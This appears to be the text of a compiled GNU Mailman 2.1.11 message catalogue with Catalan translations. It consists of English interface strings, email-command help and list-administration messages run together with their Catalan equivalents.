             typical choice.  This setting has no effect when "umbrella_list"
             is "No".When <a href="?VARHELP=nondigest/personalize">personalization</a> is enabled
for this list, additional substitution variables are allowed in your headers
and footers:

<ul><li><b>user_address</b> - The address of the user,
        coerced to lower case.
    <li><b>user_delivered_to</b> - The case-preserved address
        that the user is subscribed with.
    <li><b>user_password</b> - The user's password.
    <li><b>user_name</b> - The user's full name.
    <li><b>user_optionsurl</b> - The url to the user's option
        page.
</ul>
When a new digest volume is started, the volume number is
             incremented and the issue number is reset to 1.When a new member is subscribed to this list, their initial
             set of options is taken from the this variable's setting.When a post from a non-member is received, the message's
             sender is matched against the list of explicitly
             <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
             >accepted</a>,
             <a href="?VARHELP=privacy/sender/hold_these_nonmembers">held</a>,
             <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
             >rejected</a> (bounced), and
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >discarded</a> addresses.  If no match is found, then this action
             is taken.When members want to leave a list, they will make an
             unsubscription request, either via the web or via email.
             Normally it is best for you to allow open unsubscriptions so that
             users can easily remove themselves from mailing lists (they get
             really upset if they can't get off lists!).

             <p>For some lists though, you may want to impose moderator
             approval before an unsubscription request is processed.  Examples
             of such lists include a corporate mailing list that all employees
             are required to be members of.When receiving digests, which format is default?When set, the list of subscribers is protected by member or
             admin password authentication.When this option is enabled, all list traffic is emergency
             moderated, i.e. held for moderation.  Turn this option on when
             your list is experiencing a flamewar and you want a cooling off
             period.When you are done making changes...When you tell Mailman to perform a catchup on the newsgroup,
             this means that you want to start gating messages to the mailing
             list with the next new message found.  All earlier messages on
             the newsgroup will be ignored.  This is as if you were reading
             the newsgroup yourself, and you marked all current messages as
             <em>read</em>.  By catching up, your mailing list members will
             not see any of the earlier messages.Where are replies to list messages directed?
             <tt>Poster</tt> is <em>strongly</em> recommended for most mailing
             lists.Which delivery mode is the default for new users?While Mailman's bounce detector is fairly robust, it's
             impossible to detect every bounce format in the world.  You
             should keep this variable set to <em>Yes</em> for two reasons: 1)
             If this really is a permanent bounce from one of your members,
             you should probably manually remove them from your list, and 2)
             you might want to send the message on to the Mailman developers
             so that this new format can be added to its known set.

             <p>If you really can't be bothered, then set this variable to
             <em>No</em> and all non-detected bounces will be discarded
             without further processing.

             <p><b>Note:</b> This setting will also affect all messages sent
             to your list's -admin address.  This address is deprecated and
             should never be used, but some people may still send mail to this
             address.  If this happens, and this variable is set to
             <em>No</em> those messages too will get discarded.  You may want
             to set up an
             <a href="?VARHELP=autoreply/autoresponse_admin_text">autoresponse
             message</a> for email to the -owner and -admin address.Who can view subscription list?YearlyYesYes, w/discardYes, w/forwardYou are already a member of this mailing list!You are already subscribed!You are already subscribed.You are already using that email addressYou are currently banned from subscribing to
            this list.  If you think this restriction is erroneous, please
            contact the list owners at %(owneraddr)s.You are currently banned from subscribing to this list.  If you think this
restriction is erroneous, please contact the list owners at
%(owneraddr)s.You are forbidden from posting messages to this list.You are not a member of the %(listname)s mailing listYou are not allowed to post to this mailing list, and your message has been
automatically rejected.  If you think that your messages are being rejected in
error, contact the mailing list owner at %(listowner)s.You are not allowed to retrieve the list membership.You are not authorized to create new mailing listsYou are not authorized to delete this mailing listYou are not currently a member.  Have you already unsubscribed or changed
your email address?You can access your personal options via the following url:You can create a new mailing list by entering the
    relevant information into the form below.  The name of the mailing list
    will be used as the primary address for posting messages to the list, so
    it should be lowercased.  You will not be able to change this once the
    list is created.

    <p>You also need to enter the email address of the initial list owner.
    Once the list is created, the list owner will be given notification, along
    with the initial list password.  The list owner will then be able to
    modify the password and add or remove additional list owners.

    <p>If you want Mailman to automatically generate the initial list admin
    password, click on `Yes' in the autogenerate field below, and leave the
    initial list password fields empty.

    <p>You must have the proper authorization to create new mailing lists.
    Each site should have a <em>list creator's</em> password, which you can
    enter in the field at the bottom.  Note that the site administrator's
    password can also be used for authentication.
    You cannot add a Reply-To: to an explicit
            address if that address is blank.  Resetting these values.You cannot enable gatewaying unless both the
                <a href="?VARHELP=gateway/nntp_host">news server field</a> and
                the <a href="?VARHELP=gateway/linked_newsgroup">linked
                newsgroup</a> fields are filled in.You did not give the correct old password, so your password has not been
changed.  Use the no argument version of the password command to retrieve your
current password, then try again.You did not give the correct passwordYou forgot to enter the list nameYou forgot to specify the list ownerYou gave the wrong passwordYou have been successfully subscribed to the %(realname)s mailing list.You have been successfully unsubscribed from the
            mailing list %(fqdn_listname)s.  If you were receiving digest
            deliveries you may get one more digest.  If you have any questions
            about your unsubscription, please contact the list owners at
            %(owneraddr)s.You have been unsubscribed from the %(realname)s mailing listYou have canceled the re-enabling of your membership.  If
    we continue to receive bounces from your address, it could be deleted from
    this mailing list.You have canceled your change of address request.You have canceled your subscription request.You have canceled your unsubscription request.You have digest members, but digests are turned
                off. Those people will not receive mail.You have regular list members but non-digestified mail is
                turned off.  They will receive mail until you fix this
                problem.You have successfully created the mailing list
    <b>%(listname)s</b> and notification has been sent to the list owner
    <b>%(owner)s</b>.  You can now:You have successfully deleted the mailing list
    <b>%(listname)s</b>.You have successfully set your options.You have turned off delivery of both digest and
                non-digest messages.  This is an incompatible state of
                affairs.  You must turn on either digest delivery or
                non-digest delivery or your mailing list will basically be
                unusable.You invited %(address)s to your list, but in a
deliberate malicious attempt, they tried to confirm the invitation to a
different list.  We just thought you'd like to know.  No further action by you
is required.You may get one last digest.You may not subscribe a list to itself!You must confirm your unsubscription request by turning
                on the checkbox below the <em>Unsubscribe</em> button.  You
                have not been unsubscribed!You must fix the preceding invalid addresses first.You must specify a list name.  Here is the %(link)sYou must specify a list.You must supply a valid email address.You were not invited to this mailing list.  The invitation has been discarded,
and both list administrators have been alerted.You will be sent email requesting confirmation, to
            prevent others from gratuitously subscribing you.You will be sent email requesting confirmation, to
            prevent others from gratuitously subscribing you.  Once
            confirmation is received, your request will be held for approval
            by the list moderator.  You will be notified of the moderator's
            decision by email.Your <code>%(property)s</code> string appeared to
                    have some correctable problems in its new value.
                    The fixed value will be used instead.  Please
                    double check that this is what you intended.
                    Your confirmation is required in order to cancel the
    posting of your message to the mailing list <em>%(listname)s</em>:

    <ul><li><b>Sender:</b> %(sender)s
        <li><b>Subject:</b> %(subject)s
        <li><b>Reason:</b> %(reason)s
    </ul>

    Hit the <em>Cancel posting</em> button to discard the posting.

    <p>Or hit the <em>Continue awaiting approval</em> button to continue to
    allow the list moderator to approve or reject the message.Your confirmation is required in order to complete the
    change of address request for the mailing list <em>%(listname)s</em>.  You
    are currently subscribed with

    <ul><li><b>Real name:</b> %(fullname)s
        <li><b>Old email address:</b> %(oldaddr)s
    </ul>

    and you have requested to %(globallys)s change your email address to

    <ul><li><b>New email address:</b> %(newaddr)s
    </ul>

    Hit the <em>Change address</em> button below to complete the confirmation
    process.

    <p>Or hit <em>Cancel and discard</em> to cancel this change of address
    request.Your confirmation is required in order to complete the
    subscription request to the mailing list <em>%(listname)s</em>.  Your
    subscription settings are shown below; make any necessary changes and hit
    <em>Subscribe</em> to complete the confirmation process.  Once you've
    confirmed your subscription request, you will be shown your account
    options page which you can use to further customize your membership
    options.

    <p>Note: your password will be emailed to you once your subscription is
    confirmed.  You can change it by visiting your personal options page.

    <p>Or hit <em>Cancel my subscription request</em> if you no longer want to
    subscribe to this list.Your confirmation is required in order to complete the
    unsubscription request from the mailing list <em>%(listname)s</em>.  You
    are currently subscribed with

    <ul><li><b>Real name:</b> %(fullname)s
        <li><b>Email address:</b> %(addr)s
    </ul>

    Hit the <em>Unsubscribe</em> button below to complete the confirmation
    process.

    <p>Or hit <em>Cancel and discard</em> to cancel this unsubscription
    request.Your confirmation is required in order to continue with
        the subscription request to the mailing list <em>%(listname)s</em>.
        Your subscription settings are shown below; make any necessary changes
        and hit <em>Subscribe to list ...</em> to complete the confirmation
        process.  Once you've confirmed your subscription request, the
        moderator must approve or reject your membership request.  You will
        receive notice of their decision.

        <p>Note: your password will be emailed to you once your subscription
        is confirmed.  You can change it by visiting your personal options
        page.

        <p>Or, if you've changed your mind and do not want to subscribe to
        this mailing list, you can hit <em>Cancel my subscription
        request</em>.Your confirmation is required to join the %(listname)s mailing listYour confirmation is required to leave the %(listname)s mailing listYour current option settings:Your decisionYour email address:Your membership in the %(realname)s mailing list is
    currently disabled due to excessive bounces.  Your confirmation is
    required in order to re-enable delivery to your address.  We have the
    following information on file:

    <ul><li><b>Member address:</b> %(member)s
        <li><b>Member name:</b> %(username)s
        <li><b>Last bounce received on:</b> %(date)s
        <li><b>Approximate number of days before you are permanently removed
               from this list:</b> %(daysleft)s
    </ul>

    Hit the <em>Re-enable membership</em> button to resume receiving postings
    from the mailing list.  Or hit the <em>Cancel</em> button to defer
    re-enabling your membership.
    Your message had a suspicious header.Your message to %(listname)s awaits moderator approvalYour message was deemed inappropriate by the moderator.Your message was rejectedYour message was too big; please trim it to less than
%(kb)d KB in size.Your new %(listname)s list passwordYour new mailing list: %(listname)sYour password is: %(password)sYour passwords did not match.Your real name:Your request has been forwarded to the list moderator for approval.Your subscription is not allowed because
the email address you gave is insecure.Your subscription is not allowed because the email address you gave is
insecure.Your subscription request has been forwarded to the list administrator
at %(listowner)s for review.Your subscription request has been received, and will soon be acted upon.
Depending on the configuration of this mailing list, your subscription request
may have to be first confirmed by you via email, or approved by the list
moderator.  If confirmation is required, you will soon get a confirmation
email which contains further instructions.Your subscription request was deferred because %(x)s.  Your request has been
forwarded to the list moderator.  You will receive email informing you of the
moderator's decision when they get to your request.Your unsubscription request has been
                    forwarded to the list administrator for approval.Your unsubscription request has been forwarded to the list administrator for
approval.Your unsubscription request has been received and
            forwarded on to the list moderators for approval.  You will
            receive notification once the list moderators have made their
            decision.Your urgent message to the %(realname)s mailing list was not authorized for
delivery.  The original message as received by Mailman is attached.
[----- end %(typename)s file -----][----- start %(typename)s file -----][Message discarded by content filter][No bounce details are available][No explanation given][No reason given][disabled by periodic sweep and cull, no message available][no description available]a single held message.ackack option setadministrative list overviewall held messages.all of %(esender)s's held messages.also article db files must be %(octperms)s: %(path)sarticle file %(filename)s is missing!attribute "%(k)s" changedattribute "%(k)s" ignoredauthorby the adminby the list administratorby youby yourselfcheck a translated template against the original one
       search also <MM-*> tags if html is not zerocheck a translation comparing with the original stringcheck for differences between checked in and checked outchecking cgi-bin permissionschecking mode for %(prefix)schecking ownership of %(dbfile)schecking permissions on %(file)schecking permissions on %(pwfile)schecking permissions on list datachecking perms on %(private)schecking set-gid for %(wrapper)scouldn't remove old file %(pyc)s -- %(rest)sdatedaydaysdelivery disabled by userdelivery enableddelivery offdelivery ondigestdigest footerdigest headerdigest option setdirectory must be at least 02775: %(d)sdirectory permissions must be %(octperms)s: %(path)sdisableddonedue to bouncesdue to excessive bouncesduplicates option setemail address and figuring article archives
file permissions must be at least 660: %(path)sfixing all the perms on your old html archives to work with b6
If your archives are big, this could take a minute or two...for unknown reasonsfound in:from %(start)s to %(end)sgeneral list overviewgetting rid of old source filesgloballyhidehide option setlanguagelegal values are:list creatorlist infolist of available mailing lists.listname is requiredmatching mailing lists found:mbox file must be at least 0660:member address<br>member namemembersmessage is unparsable: %(filebase)smodmyposts option setn/ano dateno lists == nothing to do, exitingno subjectnodupesnomail<br>[reason]not availablenot metoooffonoptionsparse a .po file extracting msgids and msgstrspasswordplainprivateprivate archivesprocessing mailing list:publicpublic archivesreminder option setremoving %(src)sremoving directory %(src)s and everything underneathreturn to the %(categoryname)s options page.rightright scan a string from the original filescan a translated stringscan the po file comparing msgids with msgstrssitesize not availablesource perms must be %(octperms)s: %(path)sstale lock filestop is synonymous with the end command.
subjectsubscriptions to %(name)s require administrator approvalsubscriptions to %(realname)s require moderator approvalthe list admin overview pagethe list administratorthe mailing list overview pagethreadunknown senderunsubunsubscriptions require moderator approvalupdating old qfilesview all messages from %(esender)sProject-Id-Version: mailman 2.1.11
POT-Creation-Date: Sun Jan 11 08:28:57 2009
PO-Revision-Date: 2009-01-28 01:23+0100
Last-Translator: David Planella <david.planella@gmail.com>
Language-Team: Catalan <mailman@llistes.softcatala.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit


Atenció Atenció Atenció

    Estàs actualitzant una versió existent de Mailman, però no puc dir quina versió és.

    Si estàs actualitzant desde Mailman 1.0b9 o anterior hauràs
    d'actualitzar manualment les teves llistes de correu. Per cada llista hauràs de copiar
    el fitxer templates/options.html lists/<nom de la llista>/options.html.

    No obstant, si haguessis editat aquest fitxer a través de l'interfície web,
    hauràs de barrejar els teus canvis amb aquest fitxer, d'altra manera perdràs
    els teus canvis.

Atenció Atenció Atenció


    confirm <cadena-de-confirmació>
        Confirma una acció. Es requereix la cadena de confirmació, la qual
        s'ha d'enviar en el missatge de resposta de la confirmació.

    echo [args]
         Retorna simplement una confirmació. Els arguments es retornen sense modificar.

    end
        Finalitza el processament d'ordres. Utilitzeu aquesta ordre si el 
        vostre programa de correu afegeix un fitxer de signatura de manera
        automàtica.

    help
        Mostra aquest missatge d'ajuda.

    info
        Obté informació sobre aquesta llista de correu.

    lists
        Mostra una llista de les llistes de correu públiques en aquest 
        servidor del Mailman de GNU.

    password [<contrasenyaantiga> <contrasenyanova>] [address=<adreça>]
        Obté o canvia la vostra contrasenya. Si no especifiqueu cap argument,
        se us enviarà la vostra contrasenya actual. Si proporcioneu els 
        arguments <contrasenyaantiga> i <contrasenyanove> us permetrà canviar
        la vostra contrasenya.

        Si envieu el missatge des d'una adreça diferent a aquella amb la qual
        esteu subscrit a la llista, haureu d'especificar-la a l'argument 
        «address=<address>» (sense les cometess ni els caràcters <>).
        Tingueu en compte que en aquests casos la resposta sempre s'enviarà a
        l'adreça de subscripció.

    set ...
        Estableix o mostra les vostres opcions de subscripció.

        Utilitzeu l'ordre «set help» (sense les cometes) per a veure una llista
        detallada de les opcions que podeu canviar.

        Utilitzeu l'ordre «set show» (sense les cometes) per a veure la 
        configuració actual de les vostres opcions.

    set help
        Mostra aquesta ajuda detallada.

    set show [address=<address>]
        Mostra la vostra configuració actual. Si estàs fent servir una adreça
        que no és la vostra adreça de membre, pots especificar la vostra adreça de membre
        amb `address=<address>' (sense angles <> ni cometes!).

    set authenticate <password> [address=<address>]
        Per establir alguna de les teves opcions, has d'incloure aquesta ordre primer, junt
        amb la vostra contrasenya de membre.  Si estàs fent servir una adreça
        que no és la vostra adreça de membre, pots especificar la vostra adreça de membre
        amb `address=<address>' (sense angles <> ni cometes!).

    set ack on
    set ack off
        Quan l'opció `ack' és establerta a `on', rebràs
        un missatge de notificació cada vegada que enviïs un missatge a la llista.

    set digest plain
    set digest mime
    set digest off
        Quan l'opció `digest' és establerta a 'off', rebràs els missatges
        inmediatament després que hagin estat enviats. Fes servir `set digest plain' si
        voleu rebre els missatges en un resum de text pla (i.e. RFC 1153 digest).
        I `set digest mime' si voleu rebre els missatges en un resum MIME

    set delivery on
    set delivery off
        Estableix el lliurament a on o a off. Això no cancel·la la vostra subscripció, però
        Mailman no t'enviarà missatges. Això et pot ser d'utilitat si ets
        de vacances

    set myposts on
    set myposts off
        Fes servir `set myposts off' si no voleu rebre copies dels missatges que
        envies a la llista. Això no té efecte si estàs rebent resums.

    set hide on
    set hide off
        Fes servir `set hide on' per ocultar la vostra adreça de correu electrònic quan la gent demani
        la llista de subscriptors.

    set duplicates on
    set duplicates off
        Fes servir `set duplicates off' si voleu que Mailman no t'enviï missatges
        si la vostra adreça esta mencionada explicitament als camps To: o Cc: del
        missatge. Això pot reduir el nombre de missatges duplicats que rebis.

    set reminders on
    set reminders off
        Fes servir `set reminders off' si voleu desactivar el recordatori mensual de la
        contrasenya de la llista.

    subscribe [password] [digest|nodigest] [address=<adreça>]
        Us subscriu a aquesta llista de correu. Haureu d'especificar la
        vostra contrasenya per a cancel·lar la subscripció o canviar les
        vostres opcions. En cas que no ho feu se us en generarà una de 
        manera automàtica. La vostra contrasenya se us recordarà
        periòdicament.

        L'argument següent pot ser: «nodigest» o «digest» (sense cometes).
        Si voleu subscriure una adreça diferent a la que heu utilitzat per
        a enviar aquest missatge, haureu d'especificar l'argument 
        «address=<adreça>» (sense els caràcters <> ni cometes).

    unsubscribe [password] [address=<address>]
        Cancel·la la vostra subscripció a la llista de distribució. Si 
        especifiqueu la contrasenya, ha de coincidir amb la vostra 
        contrasenya actual de la llista. Si l'ometeu se us enviarà un 
        missatge de confirmació a l'adreça que vulgueu donar de baixa. 
        Si voleu cancel·lar la subscripció d'una adreça diferent a la 
        que heu utilitzat per a enviar aquest missatge, haureu d'especificar 
        l'argument «address=<adreça>» (sense els caràcters <> ni cometes).

    who
        Mostra els membres no ocults d'aquesta llista de correu.
    who password
        Mostra tots els membres d'aquesta llista de correu. La contrasenya
        és la de l'administrador o del moderador de la llista.

    who password
        Obté el llistat de subscriptors de la llista, el qual només el
        podran rebre els administradors i moderadors d'aquesta. Per a
        obtenir-lo, haureu d'introduir la contrasenya de l'administrador.
        o del moderado.

    who password [address=<adreça>]
        Mostra el llistat de subscriptors no ocults de la llista. El llistat 
        només el poden veure els subscriptors, per la qual cosa caldrà que 
        proporcioneu la vostra contrasenya de subscriptor per a obtenir-lo.
        En cas que envieu la sol·licitud des d'una adreça diferent de la de
        subscripció, l'haureu d'especificar a l'argument «address=<address>»
        (sense angles als costats de l'adreça, i sense cometes!). Si 
        especifiqueu la contrasenya de l'administrador o moderador, també
        s'hi mostraran els membres ocults.

%(listname)s té fitxers mbox públics i privats. Ja que la llista està
fent servir arxivació privada, Instalo el fitxer mbox privat
-- %(o_pri_mbox_file)s -- com a arxiu actiu, i renombro
        %(o_pub_mbox_file)s
a
        %(o_pub_mbox_file)s.preb6

Podeu integrar això amb els arxius si voleu, fent servir el script 'arch'.

- Fet.


- Ignorat:
- No processat:
Comprovar una tradució del Mailman, assegurant-se que les variables i
els tags als que es fa referencia a la traducció son els mateixos que hi ha
a la plantilla original.

Forma d'ús:
cd $MAILMAN_DIR
%(program)s [-q] <lang>

On <lang> és el codi del país (ex 'it' per a Italia) i -q es
per demanar un resum.

ERROR:

No s'ha pogut obtenir el bloqueig d'algunes llistes. Això significa que o Mailman
estava actiu quan vas actualitzar o hi havia bloquejos corruptes en el directori
%(lockdir)s.

Has de posar a Mailman en un estat inactiu i esborrar tots els bloquejos
corruptes, aleshores tornar a executar manualment "make update". 
Vegi els fitxers INSTALL i UPGRADE per a més detalls.

Enviaments pendents:
Per acabar d'eliminar la llista de correu has d'editar el teu /etc/aliases (o
equivalent) per eliminar les següentes línies, i possiblement
executar el programa `newaliases':

## %(listname)s llista de correu
Forma d'ús:
Esteu subscrit a aquesta llista amb l'adreça <em>%(cpuser)s</em>, de la qual se n'han mantingut les majúscules i minúscules.             Heu cancel·lat satisfactòriament l'enviament del vostre missatge amb
            la capçalera d'Assumpte: <em>%(subject)s</em> a la llista de correu
            %(listname)s.            Has canviat satisfactòriament la vostra adreça a la llistade correu %(listname)s
            de <b>%(oldaddr)s</b> a <b>%(newaddr)s</b>.  ara
            Pots <a href="%(optionsurl)s">anar a la pàgina d'entrada de la vostra
            subscripció</a>.            Heu confirmat amb èxit la vostra sol·licitud de subscripció
            per a «%(addr)s» a la llista de correu %(listname)s. Se us 
            enviarà un missatge de confirmació a la vosta adreça de 
            correu electrònic juntament amb la vostra contrasenya i 
            altra informació i enllaços d'interès.

            <p>Ara podeu
            <a href="%(optionsurl)s">anar a la pàgina d'entrada de la
            vostra subscripció</a>.            Heu confirmat satisfactòriament la subscripció a la llista
            %(listname)s, no obstant es requereix l'aprovació final del
            moderador de la llista abans que se us subscrigui. La vostra
            sol·licitud ha estat enviada al moderador de la llista, i rebreu
            notícies de la seva decisió.            Heu reactivat la vostra subscripció a la llista de correu 
            %(listname)s.
            Ara podeu <a href="%(optionsurl)s">anar a la vostra 
            pàgina d'opcions de subscriptor</a>.
                       Has cancel·lat la vostra subscripció a la llista %(listname)s de forma
            satisfactòria. Ara pots <a href="%(listinfourl)s">visitar la pàgina d'informació
            principal de la llista</a>.            No se us ha convidat a aquesta llista de correu. S'ha descartat
            la invitació i se n'ha informat a ambdós administradors de la llista     Descripció:     %(description)s     Sol·licituds a: %(requestaddr)s    %(status)s (%(how)s el %(date)s)    ack %(onoff)s    adreça no trobada:    comprovació del GID i del mode de %(path)s    comprovant permisos a: %(path)scomprovant permisos de set-gid per %(path)s    adreça clonada afegida:        l'adreça clonada ja és membre:    resum mime    resum desactivat    resum pla    duplicats %(onoff)s    ocultació %(onoff)s    sembla que teniu una instal·lació molt recent del CVS...
    o sou molt valent, o ja s'ha executat    els meus enviaments %(onoff)s    Nous amos de la llista:    Adreça original eliminada:    recordatoris %(onoff)s    escanejant els amos de la llista:    Fitxer desconegut, movent
        %(o_pri_mbox_file)s
    a
        %(newname)s    fitxer desconegut, movent
        %(o_pub_mbox_file)s
    a
        %(newname)s   %(file)s: correcte  Fil %(size)i bytes  (%(count)d de %(total)d) (mode de resum) (ocultem les adreces i així no son fàcilment
                reconegudes pels spammers). (requereix autorització) (requereix confirmació)<br>&nbsp;<br> <p>Introduïu la vostra  Si deixeu el camp en blanc, se us demanarà la vostra
        adreça de correu electrònic El vostre darrer missatge retornat rebut és del %(date)s Per accedir a la pàgina d'informació general d'una llista no pública,
        obriu un URL similar a aquest, però amb una «/» i el nom %(adj)s
        de la llista afegit.
        <p>Els administradors de la llista podeu visitar  i contrasenya per a anar la llista de subscriptors: <p><center> a  bytes de %(remote)s ja és un membre subscriptors:  per a trobar la interfície de gestió de la vostra llista.
         <p>Si teniu preguntes o comentaris, contacteu # -*- python -*-
# -*- coding: %(charset)s -*-
## Paràmetres de configuració de la llista de correu «%(listname)s»
## registrats el %(when)s
## Llista de correu %(listname)s#%(counter)05d %(msgid)s%%%%%prog [opcions]

Exporta la configuració i els membres d'una llista de correu en format XML.%(addr)s està bandejat (coincideix amb: %(patt)s)%(address)s no està subscrita a la llista de correu %(listname)sL'adreça %(address)s fou convidada a una altra llista,
però s'ha intentat confirmar-la per a la vostra llista de manera intencionada
i maliciosa. Això n'és simplement la notificació. No es requereix cap acció
per part vostra.%(allcnt)s membres en total%(allcnt)s subscriptors en total, %(membercnt)s mostratsHi ha %(count)d sol·licituds de moderació de la llista %(realname)s per processar%(day)i %(month)s %(year)i%(days)d %(units)sels permisos de %(dbdir)s "other" han de ser 000%(dbfile)s propietat de %(owner)s (ha de ser propietat de %(user)sEl fitxer %(dbfile)s hauria de tenir permisos 066x (té %(octmode)s)El fitxer %(file)s hauria de tenir permisos 066x (té %(octmode)s)Recordatori de pertinença a les llistes de correu de %(host)sLlistes de correu a %(hostname)sLlistes de correu de %(hostname)s - Enllaços administratius%(i)3d. Nom de la llista:   %(realname)sRecordatori de la llista de correu %(listfullname)sLlista %(listinfo_link)s, administrada per %(owner_link)sNo s'ha trobat el missatge %(msg)s de la llista %(listname)s com a fitxer %(filename)sMissatge de sondeig de la llista de correu %(listname)sEls enviaments a %(listname)s de %(sender)s requereixen aprovació%(messages)d missatges trobats%(month)s %(year)i%(name)s executa el qrunner %(runnername)s%(newaddr)s ja està subscrita a
            la llista %(realname)s. Pot ser que estigueu intentant confirmar
            una sol·licitud per a una adreça que ja ha estat subscrita.%(newaddr)s ja es un membre de la llista.Ara mateix s'ha bandejat la possibilitat de subscriure %(newaddr)s
        a aquesta llista. Hauríeu de contactar els administradors de la llista
        a %(owneraddr)s.%(newaddr)s té l'accés prohibit a la llista de correu.
                      Si creieu que la restricció és errònia,
                      contacteu amb el propietari de la llista a %(owneraddr)s.%(ord)s trimestre de %(year)i%(path)s grup erroni (té: %(groupname)s, s'esperava %(MAILMAN_GROUP)s)%(path)s ha de ser set-gid%(private)s no ha de ser de lectura per a altres usuarisels permisos de %(pwfile)s han de ser exactament 0640 (got %(octmode)s)%(realname)s -- Edita l'html per %(template_info)s%(realname)s -- Edició de la pàgina HTMLAdministració de la llista %(realname)s (%(label)s)Base de dades administrativa de la llista %(realname)sResultats de la base de dades administrativa de la llista %(realname)sResum de %(realname)s, vol %(volume)d, número %(issue)dAjuda per a la configuració de la llista de correu %(realname)s
    <br>opció <em>%(varname)s</em>Interfície administrativa de la llista %(realname)sLlista %(realname)s: opcions d'usuari per a %(safeuser)sLlista %(realname)s: pàgina d'entrada a les opcions de membre Administració de la llista de correu %(realname)s<br>Secció %(label)sresultat de la comprovació de la petició de moderació de %(realname)sConfirmació de l'enviament de la llista %(realname)s.L'autenticació de la llista %(realname)s ha fallat.Notificació de subscripció a %(realname)sNotificació de la cancel·lació de la subscripció a %(realname)s%(safetemplatename)s: és una plantilla errònia%(wday)s %(mon)s %(day)2i %(hh)02i:%(mm)02i:%(ss)02i %(tzname)s %(year)04i%(wrapper)s ha de ser set-gid%s té fitxers mbox públics i privats. Ja qeu aquesta llista fa servir
arxivació pública, instal·lo el fitxer públic mbox (%s) com a fitxer actiu,
i li canviare el nom de
        %s
    a
        %s.preb6

Podeu integrar això amb els arxius si voleu, fent servir l'script 'arch'.
&lt;línia en blanc&gt;(<i>%(which)s només està disponible per als
                subscriptors de la llista.</i>)(<i>%(which)s només està disponible per a
            l'administrador de la llista.</i>)(Filtre administratiu) Voleu que es comprovin els enviaments i
             s'interceptin aquells que semblin ser peticions administratives?(Atenció - està subscrit a una llista que envia a altres llistes de distribució, pel que la notificació de %(type)s s'enviarà a l'adreça administrativa de la seva subscripció, %(addr)s.)<p> (com amo)(s'està reparant)(ajuda)(blocat)(no hi ha canvis)(sense assumpte)(desblocat)- no existeix %(o_tmpl)s; no es modificarà- Resultats:- Sembla que aquesta llista té plantilles <= b4 - %(o_tmpl)s i %(n_tmpl)s  existeixen, els deixo com estan.- mogut %(o_tmpl)s a %(n_tmpl)s- aquí no hi ha res per a actualitzar- s'està actualitzant l'antic fitxer mbox privat- s'està actualitzant el fitxer mbox públic antic- s'han suprimit les marques d' aigua i les gate_watermarks de l'Usenet-------------- part següent --------------
--all necessita --run...després d'aquest....abans d'aquest....o especifiqueu un fitxer per a pujar:; va ser inhabilitat per l'administrador de la llista; va ser inhabilitat per tu; ha estat inhabilitada per massa missatges rebotats. L'últim
            missatge rebotat es va rebre el  %(date)s; va ser deshabilitat per raons desconegudes<-----  inici de l'objecte %(cnt)s   -----><P>Ara mateix no hi ha cap arxiu. </P><b><i>qualsevol</i></b><b>Cancel·la</b> i torna a l'administració de la llista<b>Cadena de confirmació errònia:</b>
    %(safecookie)s.

    <p>La cadena de confirmació expira aproximadament
    %(days)s dies després de la vostra sol·licitud inicial. Si la vostra confirmació
    ha expirat, torneu a enviar la vostra subscripció.
    D'altra manera <a href="%(confirmurl)s">introduïu de nou</a> la cadena
    de confirmació.<b>confirmació</b> -- si el subscriptor rep confirmació dels
        seus enviamentsNo s'ha canviat l'atribut <b>admin_member_chunksize</b>.
            Cal que sigui in enter més gran que 0.<b>agrupats</b> -- si el subscriptor rep els missatges agrupats
        (en cas contrari, rebrà els missatges individuals)<b>amaga</b> -- s'ha d'amagar l'adreça del subscriptor a la
        llista de subscriptors<b>llengua</b> -- llengua preferida de l'usuari<b>moderat</b> -- el senyalador personal de moderació de l'usuari. Si
        està establert, els seus enviaments es moderaran. En cas contrari,
        s'aprovaran.<b>sense dupls</b> -- si el subscriptor no vol rebre duplicats d'un
        mateix missatge<b>sense correu</b> -- si s'ha inhabilitat l'entrega per al subscriptor. Si
        aquest és el cas, es proporcionarà una abreviació amb la descripció
        del motiu pel qual l'entrega està inhabilitada:
            <ul><li><b>U</b> -- l'entrega fou inhabilitada per l'usuari a la
                    seva pàgina d'opcions personals.
                <li><b>A</b> -- l'entrega fou inhabilitada pels administradors
                    de la llista.
                <li><b>R</b> -- l'entrega fou inhabilitada pel sistema degut
                    a un nombre excessiu de retorns de l'adreça de l'usuari.
                <li><b>?</b> -- es desconeix el motiu de la inhabilitació de.
                    l'entrega. Aquest és el cas que us trobareu per a totes les
                    subscripcions que foren inhabilitades en les versions més 
                    antigues del Mailman.
            </ul><b>sense còpia</b> -- si el subscriptor no vol rebre còpia dels
        seus enviaments<b>text pla</b> -- en cas de rebre missatges agrupats, si s'envien
        en text pla (en cas contrari, s'enviaran en MIME)atribut <b>real_name</b> no
            canviat! s'ha de diferenciar del nom de la llista només
            per les majúscules i minúscules.<b>desubs</b> -- feu clic aquí per a cancel·lar la subscripció del subscriptor.<br>(Detalls per a <b>%(varname)s</b>)<br>(Edita <b>%(varname)s</b>)<br><em>...especifiqueu un fitxer per a pujar</em><br><br><em><strong>Nota:</strong>
        l'establiment d'aquest paràmetre provoca una acció immediata, però no
        modifica l'estat permanent.</em><br>Torna a la<em>(%(num_concealed)d membres privats no mostrats)</em><em>(1 membre privat no mostrat)</em><em><strong>Avís:</strong> si canvieu aquesta opció en aquesta pantalla
    pot ser que es perdi la sincronització amb altres pantalles.  
    Assegureu-vos de tornar a carregar qualsevol pàgina on es mostri 
    aquesta opció per a aquesta llista de correu per a evitar-ho.  També podeu
    <em>Introduïu el text a continuació, o bé...</em><br><em>El missatge amb id #%(id)d està malmès.<em>El missatge amb id #%(id)d s'ha perdut.<em>No hi ha temes definits </em><em>No disponible</em><em>El remitent és ara membre de la llista</em><em>Sí, realment vull cancel·lar la subscripció</em><em>no disponible</em><li>Activa l'opció de moderació per a tothom,
            fins i tot per als subscriptors no visibles<manca><p>%(note)s

            <p>Pot ser que hagi inhabilitat la recepció deliveradament,
            o que hagi estat activat degut als rebots que està produint la
            seva adreça. En qualsevol cas, per a rehabilitar de nou la recepció dels
            missatges de la llista canviï l'opció %(link)s d'abaix. Si té alguna pregunta
            o si necessita ajuda, contacti amb %(mailto)s.(Aquesta llista envia a altres llistes de distribució, la fi de la qual és tenir
             únicament com subscriptors a altres llistes de distribució. Entre altres coses,
             això significa que les seves confirmacions s'enviaràn a
